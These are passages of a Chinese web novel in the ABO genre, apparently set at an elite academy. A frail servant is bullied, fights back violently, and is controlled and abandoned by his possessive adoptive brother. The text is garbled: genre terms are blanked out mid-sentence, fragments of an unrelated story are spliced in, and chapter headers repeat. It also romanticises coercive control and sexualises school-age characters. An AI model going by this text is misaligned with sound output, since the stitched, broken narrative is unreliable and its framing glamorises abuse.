可不知道过了多久,女孩还是安安静静地听着课,身后的顾央更是翻开笔记本,认真地研读女生借他的笔记本,垂眉低目,一副乖学生的模样。 他的字与加德王立学院崇尚的那种花体字不同,是那种很清新隽永的行书,行云流畅般铺开在纸背上,看上去便赏心悦目,仿佛能闻到淡淡的纸墨香,带着东方古国的韵味。 瘦猴忍不住多看了一眼,莫名感觉后背有些痒,似乎有什么东西在爬,忍不住面露疑惑。 “蛇呢?” 他分明记得自己刚刚才将一条小蛇塞进甘瑶抽屉中,这才这么一会,不可能毫无动静。 终于,他看见女孩低头,似乎在抽屉中翻找什么东西,耳边传来窸窸窣窣的声响,是蛇缓慢游动的声音。瘦猴忍不住窃笑,期待着甘瑶尖叫着吓倒在地。 然而那声音不知为何,却离他越来越近,似乎还能听见蛇吐着信子的“咝咝”声,他下意识一低头,接着,面色大变,猛地站起来,左脚踩右脚,“哐当”一声被椅子绊倒,狠狠摔在地上。 坚硬光滑的大理石地板与他的尾椎狠狠密接,他当即惨叫一声。 “蛇……蛇!” 本该在女孩课桌里的蛇,不知何时顺着他的脊背一路往上,贴住了他的脸颊! 这绿油油的东西横空出世,“亲切”地问候了一下它的前主人——它猛地张开血红大口,往瘦猴脸上咬出两个“吻痕”! “啊!!!” “吵什么!吵什么!”老师猛地回头,粉笔在黑板上敲得砰砰作响。 他一看到瘦猴,先是被他缠在他脸上的蛇吓得一惊,接着,联系到此人的前科,便很快反应过来。 恐怕又是他试图捉弄别人,只是这次不知为何竟然失败了。 他又看到后面乖巧听课的,忍不住对比一下,当即狠狠牙疼起来—— 越对比越磕碜。一个眉清目秀,一个歪瓜裂枣。更何况,人家一个都认真听讲学习,你一个,竟然还没出息地大吼大叫。 丢脸至极。真是废物,蠢货,没用的东西。班主任当即怒目而视,“倒数第二排的!不上课就滚出去!” 瘦猴知道自己是逃不过被记过处分了——可他眼下只在意自己忽然多了两个孔的嘴巴,眼泪都要飙出来了,连滚带爬,屁滚尿流地往教室外跑。 “顾央你等着……” 瘦猴死死地盯着顾央,捂着正在缓慢肿成香肠的嘴。蛇含有微量毒性,他目光愤怒而阴冷,滚着熊熊燃烧的怒火与恨意,“你有本事放学别走!” 蛇是从后脊梁爬上来的,他哪里还不明白? 顾央朝他敷衍地一笑,纹丝不动,懒得理他,放学后收拾好课本,将笔记还给女孩,同时在她桌上放了一小瓶草莓牛奶。 甘瑶懵懵懂懂的,但是她注意到了课堂上的那场骚乱,忍不住拉住顾央衣袖,担忧道:“同学,你赶紧走吧。” 顾央笑了笑,他点了点头,转头就进了教职工办公室,留下女孩愣愣地低下头,看着手里的粉红色牛奶杯。 ——居然还是特意温过的。 “……你真的对枪械有兴趣?” 办公室内,班主任看上去很讶异。他满意于顾央课堂上的认真,但是却并不赞同前来寻找他,咨询有关于进入军部事宜的:“你一个,想要进军部?” 他摇了摇头,神情也冷淡下来,在课堂上的央睐因为顾央此时异想天开的话语而消失。 他哗哗地翻动着手中数十份履历,漠然地扔在顾央面前,“看吧。” 他手指叩住履历上的“第二性别”栏,砰砰作响,“你眼前一共有四十二个我教过的学生,他们全是,申请志愿全是秘情军处——也就是你们口中的军部。” “但是他们全都被拒绝了,你知道为什么吗?” 顾央坐得更为端正了,“为什么?” “因为与之间的体力差了足足两倍以上,”班主任说:“而和之间的体力更是差了近乎五倍,你拿什么与比?” “那我就训练——” “你为什么非进军部不可?”班主任扶额,“我不是不尊重你的梦想。但是生来稀缺,即使你嫁给一个普通的,他也可以保你衣食无忧,你为什么非要靠自己?” 顾央沉默了一会,抿抿嘴唇。 他依然忘不了一年前的那个夜晚——戚珣喝多了酒,将他压在墙角,双臂将他牢牢困住,不让他挣动丝毫,质问他:“你想上学?” 眯起一双锐利狭长的凤眼,咄咄逼人,“你身体这么差,我愿意雇佣你,把你留在家里就不错,去学校做什么?” 顾央沉默。 他也有些纳闷,然而对于学校的执念却仿佛是刻在骨子里,无数个夜晚,顾央都梦见高高叠起的试卷,身边的同学神情痛苦地埋头苦干,却依然有人叫嚣着学不能不上,书不能不读。 戚珣见他不语,忽然和缓下神色,毛茸茸的脑袋蹭了他颈窝,“学校才不好,一点也不好,里面的人又丑又笨,都是一群蠢货。” 唯有意识不清醒时,戚珣才会流露出他黏人的特质来,一如小时候他们还没决裂时的模样。顾央试图与他解释:“我已经到了上学的年龄,不可能永远依赖戚家……” “不去好不好,这样我一回家就能看见你。你每天都能给我做饭,每天都能陪着我,我会给你买很多很多好吃的好玩的,我听你话,好吗?” 顾央摇了摇头,戚珣软着声音诱惑他哄骗他:“你身体太差了,我担心你去了学校,晕倒都没有人救你,万一你又遭到危险怎么办?哥,你能不能替我想想?” 他一声“哥”叫出来,顾央忍不住动摇。自从那场事故后,戚珣再也没有叫过他“哥”,也把他当仆从一样任意差使。他一听,差点心软就要点头,可是最后理智拉住了他,他在戚珣逐渐怨恨扭曲的目光下摇了摇头。 “怎么,戚家还会少了你一个人的饭不成?” 戚珣神色冷下来,他俊秀的面孔一片漠然,眼角上有一块月牙型的疤痕,他指了指自己的眼角,“你忘记我这块疤是怎么来的了吗,哥。” 他最后一声“哥”喊得咬牙切齿,又透露着嘲讽的语气,似乎时时刻刻在提醒着顾央对他的背叛。 顾央像是被扼住命脉,他抓住戚珣的衣角,很小声地恳求:“小珣……求你了。我真的很想上学。” “如果我偏不放你走,你能怎么办呢?你这么脆弱,现在就连把我推开的力气都没有,离开我说不定就死了,只能任人摆布。” 戚珣眼神阴沉,他手指停在顾央小腹的位置,戳着顾央敏感的肚脐,看着眼尾颤抖地染上一层薄红,眼角眉梢都是嘲讽,慢吞吞地从口中滚出来一句混账话,“想必到时候有人想要强了你,以你孱弱如废物一般的力气,你也不能把他怎么样。” ——他铁了心,想彻底养废顾央。 老师喋喋不休的话语将顾央从那个磅礴的雨夜拉回:“……我知道你们有些孩子会因为进入加德王立大学,对于加入国家的一些高等机密机构抱有幻想。 但是军部是全国最为隐秘,审核最为严格的组织,每一个军部的成员从小就要接受严苛的训练,是从地狱中爬出来的。” 靛蓝色的眼眸安安静静的,底色却涌现出一层执拗,他点了点头:“是不是只要我成绩足够优秀,军部就会考虑我?” “你……” 班主任差点脱口而出,考虑什么?考虑你做文员还是帮助军部执行员舒缓压力的共妓? 他不得不无奈地将顾央打发走,本来积攒的好感又化作虚影。走之前,顾央依然很礼貌地对他轻声说了“谢谢”,将借来的椅子归位。 此时天空已染上暮色,不远处候鸟滑过天空,金合欢树飘飘扬扬,远处火烧云熔金一般流淌在苍穹之上。 顾央站在厕所面前,罕见地犹豫了一下。 这是什么,为什么厕所会有六扇门? 学校就这么壕无人性的吗? 他从小一直生活在戚家,戚家没有专门划分。很久以后戚珣会痛恨戚家为什么没有对顾央专门地指导生理常识——于是顾央沉思了半晌,勉强辨认出男厕,最后闷头走了进去。 悄无声息跟在他身后的几个纷纷探出头,都惊呆了。 “他为什么进了男性的厕所???”瘦猴震惊道:“现在的这么不守德吗?!” “不管了,”他呵呵冷笑,抹了把脸,转头却调理好表情,对为首的露出一副恭维的态度:“蒋哥,就是他。” 他脸上还有两个蛇孔,嘴又紫又肿,瞥了他一眼,就皱着眉扭开了头。 蒋白止淡淡道:“不用折磨他,将他一条腿打断就行。” “你猜他们是怀着什么样的心情去听到这些话的?” “在听到这些东西的时候,又是怎么去想你的?” 顾央面无表情地听着,这些话在他的脑子里缓慢地打着圈,才最终被接收理解。 那些不和谐的模糊感觉,似乎在这一刻也有了答案。 “顾央——” 身后传来急切的喊声,陆然在这里发出的动静在教室里面都能听得到,他们一股脑地全部涌了过来,谢坞听到了陆然的话,暗道不好了,嘴里面喊出了声。 顾央转过头去,平静地看向他们。 第 77 章 (2500营养液二合一) 在场的气氛一片死寂,所有的同学都无言地看着顾央。 见要说的话已经达成,陆然脸上闪过扭曲的快感,他缓缓松开手,一副看好戏的表情。 顾央一步步地往前走过去。 一张又一张神色各异的面容倒映在他灰色的眼眸中。 徐清风已经在后悔自己为什么要来这里,默默地低头扣手。 谢坞满脸不自在,但还是定定地看着他。 蒋白止插兜站在走廊,低头看着手上的积家。 指针缓慢旋转着,现在是晚上六点,他一身西服笔挺,点燃了一根烟,不紧不慢地咬着,冷酷的眉眼垂下来,一副百无聊赖、漠不关心的模样。 戚家在娱乐行业颇有件建树,蒋家则是在医药领域一家独大。蒋家与戚家相邻,好巧不巧,都在同一个别墅区中。因此两家人来往逐渐密切起来,多年情谊不是作伪。 蒋白止名义上是戚珣的发小,实际上,还能算是他的半个好大哥。 然而一年前,戚珣忽然不请自来地闯入他们家,神色阴沉地坐在他的客厅里,两腿交叉,过了好一会,才说:“我要休学一年。” 蒋白止过了很久,才淡淡说:“是为了你那个小仆从?” 他早就知道戚珣在宅邸里藏了人,听说曾经发生过什么事情,以至于戚珣不允许那个人踏出房门一步,死死地将人锁在家中。 戚珣闻言,面色扭曲一下,“他算什么?是我有一场戏,要进山里拍。” 然而不久后,别墅似乎就遇到了泥石流,听闻顾央借着被困的七天七夜,爬上了戚珣的床。 蒋白止早有耳闻顾央通过不正当手段上位,对此人无甚好感,恰好瘦猴今天来向他告状——打狗还要看主人,因此他只是挥了挥手,让他们小惩以示警告。 他低头看着表,厕所内,却猛地传来“哗啦”一声巨响,他一下怔住,随即反应过来,转身向厕所疾步走去。 瘦猴一进去,便看见了靠在洗手台的。 顾央穿着学校统一发放的校服,衬衫收进他窄瘦的腰中,从侧影看,他单薄得像张轻飘飘的纸。听到声响,他微微侧头,看到他们后,不动了。 似乎刚刚洗过脸,透明的水珠顺着他高挺的鼻梁到嘴唇,再从下巴到脖颈缓慢地下滑,勾勒出一段优美而又有点暧昧的弧度,他看上去似乎不太舒服,眉头蹙着,两颊是淡淡的潮红。 “咕咚。” 几个忍不住愣了一下,下意识地吞咽了口水,瘦猴脸颊上被蛇咬穿的孔却忽然疼痛起来,他打了个激灵,回过神,盯着,他狞笑了一下,“真不知道戚珣看上了你什么。” 他眼神像是恨不得将眼前人撕下一层皮,“现在你们的关系还没有传出去吧?你说,如果你和他的关系被捅出去,他的粉丝会如何想呢?” 顾央静静地看着他。 他向前走了几步,刚咧开嘴。然而下一秒,一只手猛地伸过来,狠狠抓住瘦猴的头,用尽全力,将他的脑袋狠狠拍进眼前的镜子中! “哗啦!” 镜片顿时四分五裂。另外两个跟在后面,还没来得及上前,便被震慑在原地,纷纷张大了嘴,当场傻眼。 顾央发难得猝不及防。他清晰地知道自己力气比不过眼前几个,便也不用拳头,下手快准狠,出其不意,一句废话也没有说。 他面无表情地摁着瘦猴的脑袋,一下又一下,以一种稳定的频率,“哐哐”地将他的脑袋拍在镜子上。满是裂痕的镜面上倒映出他的脸——那张看上去柔软无害的脸此刻冷下来,“你们要动戚珣?” “我……操!顾央!你个疯子!松手!松手——” 瘦猴被一下下地撞着脑袋,血顺着他的额角流下,整个人都懵了,他试图辩解,可是一开口,就又被“砰”地砸进镜面。 他简直要大喊冤枉。他没想到只是嘴上说说,顾央居然能当了真。 顾央着实是个很无趣的人——无论你怎样刺激他、辱骂他,他似乎都不会放在心上,我行我素,偏偏看上去,又一副孱弱无害的模样。 但是一旦涉及他真正在意的人,他好像就会撕下那张温和柔弱的皮囊,露出些罕见的凶狠。也或许是孤注一掷——弱小的动物反抗起来,必然是报了必死的决心,像是自然界中护蛋时的母亲。 旁边的两个总算反应过来,冲上前,顾央躲开向他迎面袭来的拳头,手一松力,瘦猴便震怒地转身,挣脱顾央,咆哮着将他压在洗手台上。 “顾央你找死!” 他没想到顾央反抗这么剧烈。他本想随便刺激一下,再揍两拳,出出气,结果猝不及防见了血,一下子眼睛都红了。 他骨子里的火气与血性完全被激出来了。顾央的后背狠狠地撞了一下镜面,凸起的碎片硌得他皮肉生疼,手指无力地撑在黑色大理石质地的洗手台,苍白的手背上央筋浮现,食指被玻璃划破,血液一下子汩汩涌出。 瘦猴拳头都举了起来,可他差一点就要砸到顾央面庞上时,整个人忽然顿住了。 空气中不知何时充满了雪松林的清香,缭绕在鼻尖。他眼前阵阵眩晕,似乎望见了一片辽阔的雪地,上面的松林笔直矗立,高耸入云天,冷冷的清香溢出,隐约还能见到挂在树梢上面的松果。 两眼顿时发直,身体往前倾,耳畔模模糊糊,似乎听见有谁在叫自己,却依然不管不顾地往前。 好香……吃了他……吃了他…… 他像一条吐着涎水的狗,整个人几乎就要压在瘦弱的身上。 下一刻,一只被漆黑西裤裹着的长腿猛然出现,锃亮的皮鞋往他腹部狠狠一踢,瘦猴整个人便立即如炮弹般飞出去,哐当一声摔在旁边的小便池中,正中脑门,当场昏了过去。 他脸朝下地泡在池子里,咕噜咕噜几声,不动了。另外两个见状大惊,彻底从那股迷雾似的香气中清醒,夹紧了尾巴。 蒋白止转过身,他断眉狠狠一压,眉眼间都是刀刃似的锋利,英俊的眉眼间满是冰冷的怒气,语气寒冷:“我叫你们停下,没听见?” 鬼知道他刚才一进门,就看到了一副怎样的场景——被三个高大的紧紧地包围着,只能隐约通过罅隙,瞥见一只手死死地扣着纯黑色的洗手台,指节用力到发白。 他眼睁睁地看见那只手似乎终于坚持不住,脱力般的松开,缓慢垂落下去,脑海中一根弦“啪”地一声崩断,等他回过神来后,已经一脚用力踹开瘦猴。 没有瘦猴的压制,顾央无力地从洗手台滑下,他下意识一转身扶住他,这么直直地栽在他怀中。 的衬衫被揉皱得凌乱不堪,他一低头,就看见神智涣散,眼底慢慢涨起雾气,嘴唇微微张开,艰难地呼吸,像是突然搁浅上岸的鱼,脸颊更是红得滚烫。 “你没事……” 蒋白止将顾央打横抱起时,惊觉他体温之高,连忙阔步走出门外。 他面色严肃,薄唇抿成一条直线。出现这种情况完全是他意料之外。好在校医还没下班,他抱着顾央到校医室时,小护士明显吓了一跳:“怎么烫成这样了!” “我早上就叫他打点滴,但是他却硬是拒绝了,但那时还是低烧,我没放在心上……是我疏忽了。”她面色愧疚,连忙把昏迷过去的顾央放在病床上,检查了一下他的后背:“没事,没有伤到,但是有点淤央,揉一下就好了。” 她将少年的衬衫揭开,露出后背,仿佛一个白色的花苞被人强行剥开了层层包裹,后脊一片雪白,却可见窄瘦的腰处有两道指印——恐怕是方才将人压在洗手台上留下的。 蒋白止猝不及防撞见一片惊人的雪白,眉心一跳,慌忙扭过头去,片刻,又皱起眉,不明白自己为何反应这么大,便又将头扭了回去。 小护士忙前忙后,将针刺入顾央央色的血管中,手背处的皮肤苍白到半透明,仿若一块透光的大理石。蒋白止又想起之前戚珣将人关在宅邸之中,忍不住愈加怪异。 他察觉到自己不应该和发小的男友有所纠葛,转头欲走,小护士却叫住了他,麻烦他帮忙看一下顾央,自己跑去外面接电话。 校医室瞬间安静下来。白色的帐纱被晚风吹起,窗外栀子花香涌入,蒋白止坐在顾央床边,连脊骨都僵硬了,脸色却依然冷冰冰的。 他一身西装革履,本来今晚还有一场晚宴要参加,眼下只能取消。 他忍不住端详起顾央,心中漠然地想,这就是让戚珣的小男友?长得一副小白兔般柔弱的样子。却又想起头破血流的瘦猴,以及面无表情地将人一下又一下地砸进镜子里,心中泛起一丝浅薄的钦佩,又被某种怪异的感觉浇灭。 人的潜力就是这么巨大,重伤的母亲会为了孩子而突然爆发出抬起一辆车的力气,保护弟弟的哥哥可以拼着脆弱的身体长出棘刺,他不得不承认,有那么一刻,他看着这样的,也恍惚了一下。 他骨子里就是冷血而慕强,因此从小对于娇弱的无一丝好感,只觉得他们一个个都是菟丝花,而会被吸引的都是下身支配的劣等动物。 可蒋白止直直地盯着昏迷的,脑海中却忽然浮现一个念头。 ……如果从小与顾央长大的是他,他也会这样,为了保护自己而锋芒毕露么? 雪白的床单上被血迹沾染,他这才发现的手指被划破,轻轻地牵了起来,想要为他料理一下伤势,空气中的雪松林香如涟漪般点点扩散开,慢悠悠地侵入蒋白止的大脑。 病床上的沉沉睡着,点滴从输液管一点点地流进他单薄的血管中。 他看上去脆弱而无害,可是那气味简直如燃料一般,轰地一声,顺着蒋白止的四肢百骸,将他浑身的血液都引爆沸腾起来,他甚至听到了骨头崩裂的劈啪声响。 一阵眩晕后,他如坠云端,全身上下每一个毛孔都被包裹着,熨帖得他眼睛都眯了起来,脑海中却有道声音在叫嚣着——不够,还不够! 他几乎是一瞬间就意识到了,眼前人是他的命定。 蒋白止鬼使神差地一低头,薄唇微启,的食指就离他愈来愈近,在他眼前不断放大。 原来这就是命定的感觉?好软,好香,好舒服。 ……凭什么只有戚珣拥有他 戚珣收到消息,一推开门,就看见蒋白止咬着顾央的手指,眼神带着眷恋地盯着他的,唇边沾染着红色的血迹,正缓慢地将割开的裂口舔舐了个干净。 他冷不丁地一开口,“蒋白止,你为什么会和我的在一起?” 应佳仪明明已经告知了他一切,而他现在也不知道该用什么样的态度去面对顾央。 毕竟沉默掩埋的人之中,也有他的一份。 “我没想到你会在这里。”他最后还是开了口,“叶郴这种人还是少接触比较好,他之前就对你有过不好的心思,现在也本性难改。” “你有什么想问的……问我就好。” 顾央将投向窗外的视线一点点扭过来,他轻飘飘地问道。 “问你什么事情?” “你们合起伙来瞒我的事情,还是夏椿有关的事情?” 贺明安垂下眼眸无奈地说道:“前面那个我是该先说句对不起但后面的,我可能还得问你。” “你不是能听到吗?那你自己听呗。”顾央又转过头,托腮别扭地说道。 贺明安睁大眼睛,错愕地看向他。 但这一次,他什么都没能听到。 第 78 章 第 78 章 作为这次风波中心的网红cici,算是玩自媒体的那波人里发家比较早的一批。 最初走红是在社交平台上一组穿着初中校服的照片,堪称全国统一的蓝白宽松校服,和青涩打扮截然不同、冷漠厌世的浓颜长相形成强烈的反差。 虽然没能趁着那波流量成为头部网红,但这么些年下来,也逐渐形成了自己固定的受众,偶尔在社交平台上更新照片,接点推广赚钱,私底下还在兼职平面模特。 只是舆论的扩散比预想中的还要厉害。 网红塌房,男扮女装,贵族学校…… 一个个夺人眼球的关键词叠加起来,最后掀起的波涛,远远地超过了夏椿这个人本身所能有的能量。 顾央哑然。 数年前的那场悬崖事故如鬼影一般,逡巡不散地缠绕着他们,成为他们之中永远也无法弥补的一道裂痕。 正是因为当初那么好,所以后面才显得他们之间的关系更加面目可憎。 顾央垂下眼睫,张了张嘴,狠着心肠,似乎想要说什么,左手腕上的黑晶手环却猝不及防地传来一阵微小的电流! 他一瞬间瞳孔扩散了一下,眼底浮现淡淡的水雾,喘了口气,却艰难地撑住旁边的桌子,没让戚珣看出他的不对劲。 眼前又浮现那个满是火烛的祠堂,他跪在冰冷坚硬的石砖上,耳畔铁一般冷硬的声音带着鞭子的破空声在他耳边炸响: “顾央,你被我们收养,就应该知道怎么才能当好一条合格的狗。我们是叫你保护他,不是叫你残害他,让他愧疚一辈子的。” 电流震得他头脑晕眩,他垂下眼,柔软漆黑的睫毛在眼睑下垂落出一片流动的阴影。 他一声不吭地站在那里,戚珣一看到他这锯嘴葫芦的模样,就一阵烦闷。 “有没有搞错,到底是你背叛的我?还是我背叛的你?装可怜给谁看?” 戚珣冷笑一声,不满地看着,烧已经退下,可脸色依然还有些苍白,仿佛一块冰凉的白瓷。 恐怕对于顾央这种,脆弱得要死,一只手就能捏碎的小白瓷来说,即使是临时,对他来说还是依然有一定的身体负荷。 如果完全,恐怕连床都下不来了。 想到这,戚珣才“哼”了一声,从口袋里掏出一张黑卡,恹恹道:“拿去。” 电流停下,顾央缓了口气,他已经习惯这种猝不及防的疼痛,于是他收敛好表情,疑惑地看向戚珣。 他不明白为什么戚珣每次咬完他脖子,就跟上完床的男人一样,喜欢给出补偿。 只是咬脖子而已,虽然有点痛,而且被弟弟压着也有点羞耻……好吧其实每次咬完还很困,每次他都要睡过去。 他承认他不喜欢被人咬脖子,但是如果是戚珣,他可以让步。 然而,如果戚珣听见了他这般“大放厥词”,恐怕要勃然大怒,什么叫咬了会很困!不应该被情|欲沾染、□□烧身吗! ——这跟质疑他行不行有什么区别! 那张黑卡不知是做什么用的,但如果丁宴在场,必定会大叫起来。 这是校园中极少的几张VIP通行磁卡。加德王立学院中不少设施只对王公贵族开放,有了这张卡,相当于顾央在加德王立学院中有着最高权限,可以在学院中畅通无阻。 戚珣声音别扭,挤牙膏似地一板一眼:“你之前不是说想看什么书,权限不够么。拿去。” 他扭过头去,耳根似乎红了,修长的两指夹住黑色的磁卡。 顾央本来想拒绝,一听到,忍不住动摇一下。 他给自己做了一下心理建设。嗯……只是借书而已,他又不是不会还。况且,之前他为了戚珣,还拒绝了丁宴的两百万。 他收下,对戚珣弯起眼睛:“好,谢谢你。” 戚珣飞快地瞥了他一眼,不知道想到什么了,又扭过头去,“你要借的什么书……权限居然还会不够。” 顾央一麻,一时间有些心虚。好在戚珣临时他后,似乎心情不错,没有太过纠结,低头一看时间,才脸色一变。 “走。” 他提起顾央,就夺门而出,一辆红色的法拉利“刺啦”一声,停在校门口,他将顾央扔上后座,给他系上安全带,关上车门后,便一脚油门,扬长而去。 到了目的地顾央才知道他要做什么。 高楼大厦,人来人往,不远处是港口,隐约有轮船的汽笛声划破长空,货物有条不紊地吞吐着,进了门,大提琴悠扬的曲调飘荡在半空,头顶巨大的水晶吊灯如漫天繁星,灿烂华美。 一个穿着银色西装的男人迎面而来,向戚珣伸出手,笑道:“小戚总,百忙之中拨冗莅临,麻烦了。” 他手上五光十色,满是黄金与翡翠,甚至还挂上了价值超十万的超七水晶,颇为珠光宝气。 戚珣也笑了:“方总说得哪里话,是我麻烦您才对。” 他们一边欢笑交谈,一边往办公室走去,被称作“方总”的男人有些讶异地回头看了一眼顾央,“这位是内人?” “什么内人?仆从而已。”戚珣笑了笑,一副不放在心上的模样,“方总不介意吧?” “有什么介意,只是你这仆从,长相似乎还标志的。” 方总也笑。顾央看着他们打官腔,摩挲了一下左手的黑色手环,脑海里却在想关于军部的事情。 “——如果你想逃离戚家,军部是你唯一的机会。” 那张隐秘的信纸上提醒道:“顾央,我是看你救过我一命的份上,才告诉你的。你手上的这种黑枷,只有军部的人才有可能帮你解除。” “而且,如果你背叛戚家,唯一想活命的机会,只有进入军部。 军部是当今唯一一个游走独立于黑白两道的暴力合法组织,是最为特殊的武装机动队,即使是最顶级的豪门望族也动不了里面的人。” “军部的宋小军爷你听过么?他就读于加德王立学院,如果你有机会接近他——” “算了前言撤回,听说此人阴晴不定,喜怒无常,草菅人命,是个精神不太正常的疯子。你遇见他还是快跑吧。” 戚珣和方总有说有笑的声音如同隔了一层水雾,顾央一边盘算着关于军部的信息,一边又走神地想,戚珣这人也真是奇怪。 平时看上去幼稚又冲动,可是一到这种时候,身上又奇异地泄出一丝精明狡诈的气息,真叫人捉摸不透。 小时候却像个白团子,软绵绵黏哒哒地要往他身上贴,腿上抱。只是当年比他还矮了个头的弟弟,如今却已经比他高。 曾经同床共枕,睡前每夜都反反复复地说着同一个笑话,都能开怀大笑,如今却各怀异心,谁也不认得谁了。 方总将合同推给戚珣,戚珣笑着接过,又随意地挥挥手,指使顾央端茶送水,顾央倒是很听话的照做了——反正他的“卖身契”还在顾家,因此也没什么怨言。 他忙前忙后,每当说话时,都是压低着声音,方总只能听见隐隐约约的一些窃语,却莫名觉得悦耳好听,轻柔如母亲抚摸在面庞上的手一般。 他眼珠一转,莫名多打量了好几眼这个黑发蓝眸的少年。 这对主仆真叫人奇怪,分明戚珣才是那个片酬上百万的明星,一张脸长得不说雍容华贵,也算是价值连城了。 可两个人站在一起,叫人过目不忘的,却总是旁边这个看上去沉默温润的少年。 黑发柔软地垂下,贴在少年苍白的面颊处,一双眼睛居然是天空般的蓝色,如同倒映着天空的湖泊,眼睛很大,鼻子却秀挺而小巧,唇色寡淡,唇形却很饱满漂亮,看着莫名想叫人咬一口。 他就那么安安静静地站在那里,偏又抢走了所有本该在戚珣身上的目光——仿佛一幅淡淡的山水墨画,温婉娟秀,无一丝脂粉气,却又叫你挪不开眼。 方总顿悟,这恐怕是一个媚骨天成的——一时大为惊奇,这比他日常流连于会所见的莺莺燕燕,可带劲多了。 戚珣此时忽然出声:“方总,这份合同,你没有拿错么?” 他抬起一双平静的眼,声音还是温和可亲的,可眼神却慢慢冷却下来。 这是一份对赌协议——戚珣如果想靠自己成家立业,逃过戚家对他的管辖,不剑走偏锋,根本拼不过积累上百年的戚家。 方总却笑了,“小戚总说笑。我知道我们开的价位或许有些虚高,但是您也知道,最近市场经济不景气,我们不能平白无故就投资你数千万。” “不过,我与你有共同的目标——我们都想扳倒戚家。”男人身体缓慢前倾,十指交叉,放在打开的双腿中,一副充满阅历的成熟模样,空气中某种酒香逸散出来——他的居然释放出来了! 方总眼睛一轮,慢慢定格在站在戚珣身旁的顾央,慢悠悠道: “不过我看,小戚总身边的这位小仆从乖巧听话,比我身边的人不知好了千倍、万倍,如果小戚总不介意,借我用几天,让我身边那些人学习一二——” “哗啦” 男人的话戛然而止,室内一片安静,方总身后的秘书震惊地瞪大了双眼,顾央也愣住了。 在场的人目光都集中在了戚珣身上。 少年一身西装,此时袖子解开了磁扣,露出一截瘦削有力的手腕。他手中拿着桌面上精致的茶壶,此刻,里面的所有茶水兜头淋下,将男人淋得透湿。 茶水滴滴答答地顺着男人的下颔流下,坠在价值不菲的地毯上,男人似乎呆住了,方才夸张的笑容还凝固在脸上,手尴尬地悬停在半空,一副没有反应过来的模样。 戚珣嗤笑一声,将茶壶“哐当”一声,又砸回桌面。 精致的大理石茶几被他砸得颤颤巍巍,那上万元从北欧运回来的茶壶经不起折腾,委委屈屈地碎了块边。 戚珣视若无睹,他坐回去,冷漠地一抬眼,两道刀削斧砍似的双眼皮往上一掀,露出一双漆黑无光的眼睛。 他笑了笑:“方总,贵司茶水不行,我帮你倒了,不介意吧?” 方总慢慢抬起头来,脸上的笑容消失了。 茶水淋湿了合同,一时间方才整洁干净的合同,眼下凌乱得宛若厕纸。 戚珣伸出手,屈指在这坨“厕纸”上敲了敲,眼神沉了下来,讥诮道:“况且,三年,三亿对赌协议,到底是方总太狮子大开口,还是对戚某太过信任了?” 坐在对面的男人浑身湿透,他沉默半晌,居然没有动怒。 他穿着一身淋湿的西装,却依然表现出了斯文败类般的好涵养,微微一笑,眼尾的皱纹反添他魅力。 “小戚总想不依靠戚家闯出一份天地,还是有份难度的。小戚总,我确实想与您合作,毕竟我们有共同的敌人——戚家,俗话说,敌人的敌人,就是朋友。” “可是小戚总可能太过年轻,把这些当儿戏了,“他一笑,”不过,合同我会为您保留,我等着下一次,我们或许可以正式合作。“ 戚珣理都懒得理他,拽过顾央的手腕,当场就走。 这场会面不欢而散。出了门,顾央才轻轻“嘶”了一声,挣脱戚珣的手,戚珣却抓他抓得更紧,他只能用另一只手拍了拍戚珣,“是不是太冲动了?” “冲动什么?”戚珣转过身来,眼底一片阴沉,上前掐住顾央的脸,“你听不出他什么意思吗?还是你真的想爬他的床?” 他眼神一片阴沉,整个人烦躁异常,死死地盯着顾央,缓慢开口:“我现在有些后悔把你放出来了……顾央。” 戚珣到底年轻,不懂得何为“做人留一线”的道理,方才还西装革履、斯文精英的外壳一下打碎,露出里面一个偏执又怨恨的少年,龇牙咧嘴地看着他的此生仇人。 顾央没放在心上,他轻轻拍了拍戚珣,把暴戾阴沉的少年放在自己颈窝里,顺着的脊骨一下又一下地捋,像是在给一个大猫顺毛,温声道:“好啦,没关系的,慢慢来就好。” 他说话声音浅浅淡淡,却带着纵容感。戚珣默了默,在顾央看不见的角落里,他忍不住贪婪地嗅闻着温热的皮肉香气,头不自觉地埋在他的颈窝里蹭,恨不得得到所有气息。 “如果我能长在你的身体里就好了,”戚珣无言地想,“这样你这辈子都不会离开我了。” 天空阴沉地压下来,乌云在不远处高高堆起。他们一路沉默,开着车往学院的方向走。 开到一半,戚珣忽然说:“如果我从戚家独立后,你愿意跟我一起走吗?” 顾央怔了怔。 戚珣目视前方,车窗前,无数灰漆漆的树、电线杆、黑鸟从他两侧掠过,阳光艰难地从乌云中洒下一小块金光,又飞速被淹没,好似一个溺水的人。风卷起远处平田的茅草,依稀仿佛能听见九月的风声。 在一片幻梦般的景色中,戚珣说:“顾央,五年前你背叛了我一次,一年前你又趁我不备,趁我对我动手脚。我现在可以再给你一次机会,只有这一次,如果你又背叛了我,” 他转过头来,一双黑漆漆的眼如同水鬼一般,透着水汽的阴森,他磨着后槽牙,缓慢道:“我就让你万劫不复。” “我再问你最后一次,我再给你最后一次解释的机会,” “你愿意跟我一起,逃离戚家吗?” 顾央无声地翕动了一下唇。 好。 “——不好。” 他敛下眼眸,摸了摸手上的黑枷,露出一个无害的笑容:“戚家对我挺好的,给我吃给我穿,如果不是戚家,我恐怕已经死在了那场泥石流中。” 戚珣看着他,慢慢地、慢慢地,笑了。 或许是天空太过阴沉,车内一片昏暗,顾央没看清戚珣的表情,他听见窗外下起了暴雨,随后是一声急刹,戚珣一脚将顾央踹下了车,漠然道:“那你就死在这里吧。” 这里是一个建在荒郊处的高速公路,公路两旁只有光秃秃的矮丘,黑黝黝的渐变衬出它们灰色模糊的轮廓,星星点点几颗七歪八扭的树。 顾央抬头望着天,一滴雨水从万米之上的高空降落,落在他的眼睛里,像是落入湖泊中的雨水,溅起细微的涟漪。 暴雨如注。 他感觉到自己的额头似乎又奇异地烫了起来。这大概是一副孱弱多病的身体,娇气得不像个仆从。 顾央叹了口气,眯着眼睛,艰难在暴雨中辨认方向,判断了一下高速公路的能见度,决定还不如翻出公路,离远一点。 免得被突如其来的车给创死。 一道刺眼的车灯却猛然撕破粘稠的雨幕,一辆银色的柯尼塞克“呲”地滑到他面前,慢悠悠地喷了一下尾气,接着,高精度玻璃车窗缓慢滑下,露出里面一个黑色的小卷毛。 丁宴探出车窗,嘴角露出一颗小虎牙,眯着眼睛呲牙笑道:“小仆从,怎么这么可怜,一个人在路上淋雨。” “需要我搭你一下吗?” “是吗?”顾央摁灭了手机,抛回给贺明安,“有什么好谢的……” 